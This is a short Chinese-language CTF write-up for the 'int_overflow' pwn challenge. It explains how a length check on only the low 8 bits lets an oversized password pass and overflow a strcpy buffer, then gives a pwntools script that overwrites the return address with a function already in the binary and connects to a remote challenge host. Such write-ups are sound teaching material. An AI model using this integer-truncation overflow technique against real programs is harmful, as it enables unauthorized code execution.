攻防世界 - pwn - int_overflow

A、流程分析 

      

     3 < 密码长度  <=8 ,打印success, 并执行strcpy()函数

B、利用分析

     密码长度使用AL -> 8位 判断 , strlen()返回eax 则可以使用大量数据填充,使低8位保证在4-8即可,用于构造payload

     strcpy(ebp-14h,[ebp+8]) , ebp+8存储为输入密码的地址, ebp-14h为目标缓冲区,则ebp-14h起为我们填充的数据,ebp+4为返回地址,14h(缓冲区大小) + 4(ebp) + 4(返回地址) -> 19h- 1ch为返回地址

C、可利用函数

     已有可利用函数,将其地址填充到payload 19h- 1ch处

D、exp

#!/usr/bin/python3
from pwn import *

#p = process('./int_overflow')
p = remote('111.198.29.45', 36199 )
payload = 6 * p32(0x61616161) + p32(0x0804868B) + 58*p32(0x61616161) + p32(0)
#print(payload)

p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Please input your username:')
p.sendline('1')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()


 

   

     

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值